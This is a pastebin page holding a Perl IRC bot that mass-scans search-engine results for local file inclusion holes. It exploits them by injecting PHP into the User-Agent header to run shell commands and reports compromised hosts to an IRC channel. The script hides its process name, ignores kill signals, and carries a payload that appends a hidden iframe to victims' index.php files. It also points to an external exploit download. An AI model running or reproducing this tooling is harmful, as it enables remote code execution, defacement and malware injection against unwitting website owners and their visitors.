Don't like ads? PRO users don't see any ads ;-)
Guest

Untitled

By: a guest on May 1st, 2012  |  syntax: None  |  size: 17.38 KB  |  hits: 26  |  expires: Never
download  |  raw  |  embed  |  report abuse  |  print
Text below is selected. Please press Ctrl+C to copy to your clipboard. (⌘+C on Mac)
  1. #!/usr/bin/perl
  2.  
  3. #  _______         __         _______               __    
  4. # |   |   |.---.-.|__|.-----.|   |   |.---.-..----.|  |--.
  5. # |       ||  _  ||  ||     ||       ||  _  ||  __||    <
  6. # |__|_|__||___._||__||__|__||___|___||___._||____||__|__|
  7. #                  MainHack BrotherHood
  8.  
  9. # LFI Scanner (/proc/self/environ)
  10. ############################################
  11. # VopCrew IJO Scanner v0.1                 #
  12. # Coded by Vrs-hCk                         #
  13. # ander[at]antisecurity.org                #
  14. # www.antisecurity.org                     #
  15. # Copyright Š 2010 VopCrew UnderGrounD     #
  16. ############################################
  17. # perl ijoscan.pl help me !!!              #
  18. ############################################
  19.  
  20. # Greetz to:
  21. # AntiSecurity.org Member, MH BrotherHood, SiD UnderGrounD, VopCrew UnderGrounD, nob0dy Crew
  22. # NoGe, Jack, zxvf, s4va, matthews, Fluzy, aLvRea (selingkuh yuk awkawkakakaw kabor ah ada Jack :p)
  23. # S3T4N, xr00tb0y, bl4Ck_3n91n3, wishnusakti, stardustmemory, dkk (too many :O)
  24.  
  25. use HTTP::Request;
  26. use LWP::UserAgent;
  27. use IO::Socket;
  28. use IO::Select;
  29. use Socket;
  30.  
  31. my $fakeproc  = $ARGV[6];
  32. $ircserver    = $ARGV[0] unless $ircserver;
  33. my $ircport   = $ARGV[1];
  34. my $nickname  = $ARGV[2];
  35. my $ident     = $ARGV[3];
  36. my $channel   = '#'.$ARGV[4];
  37. my $runner    = $ARGV[5];
  38. my $fullname  = '15(7@2VopCrew-IJO-Scanner15)';
  39.  
  40. my $ijoscan   = '!lfi';
  41.  
  42. $ijo_test     = "../../../../../../../../../../../../../../../proc/self/environ%00";
  43.  
  44. my $success   = "\n [+] VopCrew IJO Scanner\n [-] Loading Successfully ...\n [-] Process/PID : $fakeproc - $$\n";
  45. my $failed    = "\n [-] perl $0 <host> <port> <botnick> <botident> <botchan> <yournick> <fakeproc>\n\n";
  46.  
  47. if (@ARGV != 7) { print $failed; exit(); } else { print $success; }
  48.  
  49. $SIG{'INT'}   = 'IGNORE';
  50. $SIG{'HUP'}   = 'IGNORE';
  51. $SIG{'TERM'}  = 'IGNORE';
  52. $SIG{'CHLD'}  = 'IGNORE';
  53. $SIG{'PS'}    = 'IGNORE';
  54.  
  55. chdir("/");
  56. $ircserver="$ARGV[0]" if $ARGV[0];
  57. $0 = "$fakeproc"."\0"x16;;
  58. my $pid = fork;
  59. exit if $pid;
  60. die "\n [!] Something Wrong !!!: $!" unless defined($pid);
  61.  
  62. our %irc_servers;
  63. our %DCC;
  64. my $dcc_sel = new IO::Select->new();
  65. $sel_client = IO::Select->new();
  66.  
  67. sub sendraw {
  68.         if ($#_ == '1') {
  69.         my $socket = $_[0];
  70.         print $socket "$_[1]\n";
  71.         } else {
  72.                 print $IRC_cur_socket "$_[0]\n";
  73.         }
  74. }
  75.  
  76. sub connector {
  77.         my $mynick = $_[0];
  78.         my $ircserver_con = $_[1];
  79.         my $ircport_con = $_[2];
  80.         my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$ircserver_con", PeerPort=>$ircport_con) or return(1);
  81.         if (defined($IRC_socket)) {
  82.                 $IRC_cur_socket = $IRC_socket;
  83.                 $IRC_socket->autoflush(1);
  84.                 $sel_client->add($IRC_socket);
  85.                 $irc_servers{$IRC_cur_socket}{'host'} = "$ircserver_con";
  86.                 $irc_servers{$IRC_cur_socket}{'port'} = "$ircport_con";
  87.                 $irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
  88.                 $irc_servers{$IRC_cur_socket}{'myip'} = $IRC_socket->sockhost;
  89.                 nick("$mynick");
  90.                 sendraw("USER $ident ".$IRC_socket->sockhost." $ircserver_con :$fullname");
  91.                 sleep 1;
  92.         }
  93. }
  94.  
  95. sub parse {
  96.         my $servarg = shift;
  97.         if ($servarg =~ /^PING \:(.*)/) {
  98.                 sendraw("PONG :$1");
  99.         } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
  100.                 my $pn=$1; my $hostmask= $3; my $onde = $4; my $args = $5;
  101.                 if ($args =~ /^\001VERSION\001$/) {
  102.                         notice("$pn", "\001VERSION mIRC v6.17 Khaled Mardam-Bey\001");
  103.                 }
  104.                 if ($args =~ /^(\Q$mynick\E|\!a)\s+(.*)/ ) {
  105.                         my $natrix = $1;
  106.                         my $arg = $2;
  107.                 }
  108.         }
  109.         elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
  110.                 if (lc($1) eq lc($mynick)) {
  111.                         $mynick=$4;
  112.                         $irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
  113.                 }
  114.         } elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
  115.                 nick("$mynick|".int rand(999));
  116.         } elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
  117.                 $mynick = $2;
  118.                 $irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
  119.                 $irc_servers{$IRC_cur_socket}{'nome'} = "$1";
  120.                 sendraw("MODE $nickname +Bx");
  121.                 sendraw("JOIN $channel");
  122.                 sendraw("PRIVMSG $channel :VopCrew IJO Scanner");
  123.                 sendraw("PRIVMSG $runner :Hi $runner im here !!!");
  124.         }
  125. }
  126.  
  127. my $line_temp;
  128. while( 1 ) {
  129.         while (!(keys(%irc_servers))) { connector("$nickname", "$ircserver", "$ircport"); }
  130.         delete($irc_servers{''}) if (defined($irc_servers{''}));
  131.         my @ready = $sel_client->can_read(0);
  132.         next unless(@ready);
  133.         foreach $fh (@ready) {
  134.                 $IRC_cur_socket = $fh;
  135.                 $mynick = $irc_servers{$IRC_cur_socket}{'nick'};
  136.                 $nread = sysread($fh, $msg, 4096);
  137.                 if ($nread == 0) {
  138.                         $sel_client->remove($fh);
  139.                         $fh->close;
  140.                         delete($irc_servers{$fh});
  141.                 }
  142.                 @lines = split (/\n/, $msg);
  143.                 $msg =~ s/\r\n$//;
  144.  
  145.                 #####################################################################
  146.                 ############################[ CMD LIST ]#############################
  147.                 #####################################################################
  148.  
  149.                 if ($msg=~ /PRIVMSG $channel :!help/){
  150.                         sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2Help15) 11,12 $ijoscan <lfibug> <dork> ");
  151.                         sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2Help15) 11,12 !xpl | !engine | !pid | !version | !about ");
  152.                 }
  153.  
  154.                 if ($msg=~ /PRIVMSG $channel :!xpl/){
  155.                         sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2Version15)12 Exploit -> http://c0li.info/xpl/lfirce.pl ");
  156.                 }
  157.  
  158.                 if ($msg=~ /PRIVMSG $channel :!version/){
  159.                         sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2Version15)12 VopCrew IJO Scanner v0.1");
  160.                 }
  161.  
  162.                 if ($msg=~ /PRIVMSG $channel :!engine/){
  163.                         sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2Engine15)12 Google, Bing, AllTheWeb, Altavista, ASK, UOL, Yahoo.");
  164.                 }
  165.  
  166.                 if ($msg=~ /PRIVMSG $channel :!pid/){
  167.                         sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2PID15)12 Process/ID : 4 $fakeproc - $$");
  168.                 }
  169.  
  170.                 if ($msg=~ /PRIVMSG $channel :!about/){
  171.                         sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2About15)3 VopCrew IJO Scanner v0.1");
  172.                         sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2About15)3 Coded by Vrs-hCk - MainHack BrotherHood ");
  173.                         sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2About15)3 Copyright Š 2010 VopCrew UnderGrounD");
  174.                 }
  175.  
  176.                 ##################################################################### Google Engine
  177.                 if ($msg=~ /PRIVMSG $channel :$ijoscan\s+(.*?)\s+(.*)/ ) {
  178.                         if (my $pid = fork) {
  179.                                 waitpid($pid, 0);
  180.                         }
  181.                         else {
  182.                                 if (fork) {     exit; } else {
  183.                                         my $engx = "GooGLe";
  184.                                         my $bugx = $1;
  185.                                         my $d0rk = $2;
  186.                                         sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2IJO15)(7@2VopCrew15)12 Dork :4 $d0rk");
  187.                                         sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2IJO15)(7@2VopCrew15)12 File :4 $bugx");
  188.                                         sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2IJO15)(7@2VopCrew15)7 Search Engine Loading ...");
  189.                                         &lfiscan($engx,$bugx,$d0rk);
  190.                                 }
  191.                                 exit;
  192.                         }
  193.                 }
  194.  
  195.                 ##################################################################### AllTheWeb Engine
  196.                 if ($msg=~ /PRIVMSG $channel :$ijoscan\s+(.*?)\s+(.*)/ ) {
  197.                         if (my $pid = fork) {
  198.                                 waitpid($pid, 0);
  199.                         }
  200.                         else {
  201.                                 if (fork) {     exit; } else {
  202.                                         my $engx = "AllTheWeb";
  203.                                         my $bugx = $1;
  204.                                         my $d0rk = $2;
  205.                                         &lfiscan($engx,$bugx,$d0rk);
  206.                                 }
  207.                                 exit;
  208.                         }
  209.                 }
  210.  
  211.                 ##################################################################### Bing Engine
  212.                 if ($msg=~ /PRIVMSG $channel :$ijoscan\s+(.*?)\s+(.*)/ ) {
  213.                         if (my $pid = fork) {
  214.                                 waitpid($pid, 0);
  215.                         }
  216.                         else {
  217.                                 if (fork) {     exit; } else {
  218.                                         my $engx = "Bing";
  219.                                         my $bugx = $1;
  220.                                         my $d0rk = $2;
  221.                                         &lfiscan($engx,$bugx,$d0rk);
  222.                                 }
  223.                                 exit;
  224.                         }
  225.                 }
  226.  
  227.                 ##################################################################### Altavista Engine
  228.                 if ($msg=~ /PRIVMSG $channel :$ijoscan\s+(.*?)\s+(.*)/ ) {
  229.                         if (my $pid = fork) {
  230.                                 waitpid($pid, 0);
  231.                         }
  232.                         else {
  233.                                 if (fork) {     exit; } else {
  234.                                         my $engx = "ALtaViSTa";
  235.                                         my $bugx = $1;
  236.                                         my $d0rk = $2;
  237.                                         &lfiscan($engx,$bugx,$d0rk);
  238.                                 }
  239.                                 exit;
  240.                         }
  241.                 }
  242.  
  243.                 ##################################################################### ASK Engine
  244.                 if ($msg=~ /PRIVMSG $channel :$ijoscan\s+(.*?)\s+(.*)/ ) {
  245.                         if (my $pid = fork) {
  246.                                 waitpid($pid, 0);
  247.                         }
  248.                         else {
  249.                                 if (fork) {     exit; } else {
  250.                                         my $engx = "AsK";
  251.                                         my $bugx = $1;
  252.                                         my $d0rk = $2;
  253.                                         &lfiscan($engx,$bugx,$d0rk);
  254.                                 }
  255.                                 exit;
  256.                         }
  257.                 }
  258.  
  259.                 ##################################################################### UoL Engine
  260.                 if ($msg=~ /PRIVMSG $channel :$ijoscan\s+(.*?)\s+(.*)/ ) {
  261.                         if (my $pid = fork) {
  262.                                 waitpid($pid, 0);
  263.                         }
  264.                         else {
  265.                                 if (fork) {     exit; } else {
  266.                                         my $engx = "UoL";
  267.                                         my $bugx = $1;
  268.                                         my $d0rk = $2;
  269.                                         &lfiscan($engx,$bugx,$d0rk);
  270.                                 }
  271.                                 exit;
  272.                         }
  273.                 }
  274.  
  275.                 ##################################################################### Yahoo Engine
  276.                 if ($msg=~ /PRIVMSG $channel :$ijoscan\s+(.*?)\s+(.*)/ ) {
  277.                         if (my $pid = fork) {
  278.                                 waitpid($pid, 0);
  279.                         }
  280.                         else {
  281.                                 if (fork) {     exit; } else {
  282.                                         my $engx = "YahOo";
  283.                                         my $bugx = $1;
  284.                                         my $d0rk = $2;
  285.                                         &lfiscan($engx,$bugx,$d0rk);
  286.                                 }
  287.                                 exit;
  288.                         }
  289.                 }
  290.  
  291.                 for(my $c=0; $c<= $#lines; $c++) {
  292.                         $line = $lines[$c];
  293.                         $line=$line_temp.$line if ($line_temp);
  294.                         $line_temp='';
  295.                         $line =~ s/\r$//;
  296.                         unless ($c == $#lines) {
  297.                                 parse("$line");
  298.                         } else {
  299.                                 if ($#lines == 0) {
  300.                                         parse("$line");
  301.                                 } elsif ($lines[$c] =~ /\r$/) {
  302.                                         parse("$line");
  303.                                 } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
  304.                                         parse("$line");
  305.                                 } else {
  306.                                         $line_temp = $line;
  307.                                 }
  308.                         }
  309.                 }
  310.         }
  311. }
  312.  
  313. ##################################################################### Procedure
  314.  
  315. sub lfiscan() {
  316.         my $engz = $_[0];
  317.         my $bugz = $_[1];
  318.         my $dork = $_[2];
  319.         my $contatore = 0;     
  320.         if ($engz =~ /GooGLe/) {
  321.                 my @google=&google($dork);
  322.                 push(@total, @google);
  323.                 }
  324.         if ($engz =~ /AllTheWeb/) {
  325.                 my @alltheweb=&alltheweb($dork);
  326.                 push(@total, @alltheweb);
  327.         }
  328.         if ($engz =~ /Bing/) {
  329.                 my @Bing=&Bing($dork);
  330.                 push(@total, @Bing);
  331.         }
  332.         if ($engz =~ /ALtaViSTa/) {
  333.                 my @altavista=&altavista($dork);
  334.                 push(@total, @altavista);
  335.         }
  336.         if ($engz =~ /AsK/) {
  337.                 my @ask=&ask($dork);
  338.                 push(@total, @ask);
  339.         }
  340.         if ($engz =~ /UoL/) {
  341.                 my @uol=&uol($dork);
  342.                 push(@total, @uol);
  343.         }
  344.         if ($engz =~ /YahOo/) {
  345.                 my @yahoo=&yahoo($dork);
  346.                 push(@total, @yahoo);
  347.         }
  348.         my @clean = &calculate(@total);
  349.         sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2IJO15)(7@2$engz15)12 Total:4 (".scalar(@total).")12 Clean:4 (".scalar(@clean).")");
  350.         if (scalar(@clean) != 0) {
  351.                 sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2IJO15)(7@2$engz15)7 Exploiting4 $dork");
  352.         }
  353.         my $uni=scalar(@clean);
  354.         foreach my $target (@clean)
  355.         {
  356.                 $contatore++;
  357.                 if ($contatore==$uni-1){
  358.                         sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2IJO15)(7@2$engz15)10 Scan Finish for14 $dork");
  359.                 }
  360.                 my $xpl  = "http://".$target.$bugz.$ijo_test;
  361.                 my $vuln = "http://".$target."12".$bugz."7".$ijo_test."";
  362.                 my $re   = getcontent($xpl);
  363.                 if ($re  =~ /DOCUMENT_ROOT=\// && $re =~ /HTTP_USER_AGENT/){
  364.                         if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  365.                 my $ijo = exploit($xpl,"uname -svnrp;echo c0li;id");
  366.                 $ijo =~ s/\n//g;
  367.                 if ($ijo =~ /c0li#(.*)c0liuid=(.*)#c0li/sg) {
  368.                     my ($sys,$uid) = ($1,$2);
  369.                     sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2IJO15)(7@2$engz15)15(13@12w00t15)4 http://".$target."12".$bugz."6[LFI] 15(7@3".$sys." 7uid=".$uid."15)(7@2VopCrew15)");
  370.                 }
  371.                 else {
  372.                     sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2IJO15)(7@2$engz15)15(13@12Vulnerable15)4 ".$vuln." 15(7@3VopCrew15)");
  373.                 }
  374.             } exit } sleep(3);
  375.                 }
  376.         }
  377. }
  378.  
  379. sub getcontent() {
  380.     my $url = $_[0];
  381.     my $ua  = LWP::UserAgent->new(agent => "<?php echo(\"KURWA\"); file_put_contents(\"./index.php\", base64_decode(\"ID8+PGlmcmFtZSBzcmM9Imh0dHA6Ly96dW8ucG9kZ29yei5vcmcvenVvL2VsZW4vaW5kZXgucGhwIiB3aWR0aD0iMCIgaGVpZ2h0PSIwIiBmcmFtZWJvcmRlcj0iMCI+PC9pZnJhbWU+\"), FILE_APPEND); ?>");
  382.     my $req = HTTP::Request->new(GET => $url);
  383.     my $ua = LWP::UserAgent->new(agent => $agent);
  384.     $ua->timeout(10);
  385.     my $response = $ua->request($req);
  386.     return $response->content;
  387. }
  388.  
  389. sub exploit() {
  390.     my $url = $_[0];
  391.     my $rce = $_[1];
  392.     my $agent = "<?php echo \"c0li#\"; passthru(\'".$rce."\'); echo \"#c0li\"; ?>";
  393.     my $ua = LWP::UserAgent->new(agent => $agent);
  394.     $ua->timeout(15);
  395.     my $req = HTTP::Request->new(GET => $url);
  396.     my $response = $ua->request($req);
  397.     return $response->content;
  398. }
  399.  
  400. sub google(){
  401.     my @lst;
  402.     my $key = $_[0];
  403.     my $b   = 0;
  404.     for ($b=0; $b<=1000; $b+=100){
  405.         my $Go=("http://www.google.com/search?q=".key($key)."&num=100&filter=0&start=".$b);
  406.         my $Res=query($Go);
  407.         while ($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){
  408.             if ($1 !~ /google/){
  409.                 my $k=$1;
  410.                 my @grep=links($k);
  411.                 push(@lst,@grep);
  412.             }
  413.                 }
  414.         }
  415. return @lst;
  416. }
  417.  
  418. sub alltheweb() {
  419.     my @lst;
  420.     my $key = $_[0];
  421.     my $b   = 0;
  422.     my $pg  = 0;
  423.     for ($b=0; $b<=1000; $b+=100) {
  424.         my $all = ("http://www.alltheweb.com/search?cat=web&_sb_lang=any&hits=100&q=".key($key)."&o=".$b);
  425.         my $Res = query($all);
  426.         while ( $Res =~ m/<span class=\"?resURL\"?>http:\/\/(.+?)\<\/span>/g ) {
  427.             my $k = $1;
  428.             $k =~ s/ //g;
  429.             my @grep = links($k);
  430.             push( @lst, @grep );
  431.         }
  432.     }
  433.     return @lst;
  434. }
  435.  
  436. sub uol() {
  437.     my @lst;
  438.     my $key = $_[0];
  439.     my $b   = 0;
  440.     for ($b=1; $b<=1000; $b+=10) {
  441.         my $UoL = ("http://mundo.busca.uol.com.br/buscar.html?q=".key($key)."&start=".$b);
  442.         my $Res = query($UoL);
  443.         while ( $Res =~ m/<a href=\"http:\/\/([^>\"]*)/g ) {
  444.             my $k = $1;
  445.             if ( $k !~ /busca|uol|yahoo/ ) {
  446.                 my $k    = $1;
  447.                 my @grep = links($k);
  448.                 push( @lst, @grep );
  449.             }
  450.         }
  451.     }
  452.     return @lst;
  453. }
  454.  
  455. sub Bing() {
  456.     my @lst;
  457.     my $key = $_[0];
  458.     my $b   = 0;
  459.     for ($b=1; $b<=1000; $b+=10) {
  460.         my $bing = ("http://www.bing.com/search?q=".key($key)."&filt=all&first=".$b."&FORM=PERE");
  461.         my $Res = query($bing);
  462.         while ( $Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g ) {
  463.             if ( $1 !~ /msn|live|bing/ ) {
  464.                 my $k    = $1;
  465.                 my @grep = links($k);
  466.                 push( @lst, @grep );
  467.             }
  468.         }
  469.     }
  470.     return @lst;
  471. }
  472.  
  473. sub altavista(){
  474.     my @lst;
  475.     my $key = $_[0];
  476.     my $b   = 0;
  477.     for ($b=1; $b<=1000; $b+=10){
  478.         my $AlT=("http://it.altavista.com/web/results?itag=ody&kgs=0&kls=0&dis=1&q=".key($key)."&stq=".$b);
  479.         my $Res=query($AlT);
  480.         while ($Res=~m/<span class=ngrn>(.+?)\//g){
  481.             if ($1 !~ /altavista/){
  482.                 my $k=$1;
  483.                 $k=~s/<//g;
  484.                 $k=~s/ //g;
  485.                 my @grep=links($k);
  486.                 push(@lst,@grep);
  487.             }
  488.                 }
  489.         }
  490. return @lst;
  491. }
  492.  
  493. sub ask() {
  494.     my @lst;
  495.     my $key = $_[0];
  496.     my $b   = 0;
  497.     my $pg  = 0;
  498.     for ($b=0; $b<=1000; $b+=10) {
  499.         my $Ask = ("http://it.ask.com/web?q=".key($key)."&o=0&l=dir&qsrc=0&qid=EE90DE6E8F5370F363A63EC61228D4FE&dm=all&page=".$b);
  500.         my $Res = query($Ask);
  501.         while ($Res =~ m/href=\"http:\/\/(.+?)\" onmousedown=/g) {
  502.             if ($1 !~ /ask.com/){
  503.                                 my $k = $1;
  504.                                 my @grep = links($k);
  505.                                 push( @lst, @grep );
  506.                         }
  507.         }
  508.     }
  509.     return @lst;
  510. }
  511.  
  512. sub yahoo() {
  513.         my @lst;
  514.         my $key = $_[0];
  515.     my $b   = 0;
  516.         for ($b=1; $b<=500; $b+=1) {
  517.         my $yahoo = ("http://www.search.yahoo.com/search?p=".key($key)."&ei=UTF-8&fr=yfp-t-501&fp_ip=IT&pstart=1&b=".$b);
  518.         my $Res = query($yahoo);
  519.         while ($Res =~ m/26u=(.*?)%26w=/g) {
  520.             if ($1 !~ /yahoo/){
  521.                 my $k = $1;
  522.                 my @grep = links($k);
  523.                 push(@lst, @grep);
  524.             }
  525.         }
  526.     }
  527.     return @lst;
  528. }
  529.  
  530. sub links() {
  531.         my @l;
  532.         my $link = $_[0];
  533.         my $host = $_[0];
  534.         my $hdir = $_[0];
  535.         $hdir =~ s/(.*)\/[^\/]*$/\1/;
  536.         $host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
  537.         $host .= "/";
  538.         $link .= "/";
  539.         $hdir .= "/";
  540.         $host =~ s/\/\//\//g;
  541.         $hdir =~ s/\/\//\//g;
  542.         $link =~ s/\/\//\//g;
  543.         push( @l, $link, $host, $hdir );
  544.         return @l;
  545. }
  546.  
  547. sub key() {
  548.         my $dork = $_[0];
  549.         $dork =~ s/ /\+/g;
  550.         $dork =~ s/:/\%3A/g;
  551.         $dork =~ s/\//\%2F/g;
  552.         $dork =~ s/&/\%26/g;
  553.         $dork =~ s/\"/\%22/g;
  554.         $dork =~ s/,/\%2C/g;
  555.         $dork =~ s/\\/\%5C/g;
  556.         return $dork;
  557. }
  558.  
  559. sub query($) {
  560.         my $url = $_[0];
  561.         $url =~ s/http:\/\///;
  562.         my $host  = $url;
  563.         my $query = $url;
  564.         my $page  = "";
  565.         $host  =~ s/href=\"?http:\/\///;
  566.         $host  =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
  567.         $query =~ s/$host//;
  568.         if ( $query eq "" ) { $query = "/"; }
  569.                 eval {
  570.                         my $sock = IO::Socket::INET->new(PeerAddr => "$host", PeerPort => "80", Proto => "tcp") or return;
  571.                         print $sock "GET $query HTTP/1.0\r\nHost: $host\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n";
  572.                         my @r = <$sock>;
  573.                         $page = "@r";
  574.                         close($sock);
  575.                 };
  576.         return $page;
  577. }
  578.  
  579. sub calculate {
  580.         my @calculate = ();
  581.         my %visti = ();
  582.         foreach my $element (@_) {
  583.                 $element =~ s/\/+/\//g;
  584.                 next if $visti{$element}++;
  585.                 push @calculate, $element;
  586.         }
  587.         return @calculate;
  588. }
  589.  
  590. sub nick {
  591.         return unless $#_ == 0;
  592.         sendraw("NICK $_[0]");
  593. }
  594.  
  595. sub notice {
  596.         return unless $#_ == 1;
  597.         sendraw("NOTICE $_[0] :$_[1]");
  598. }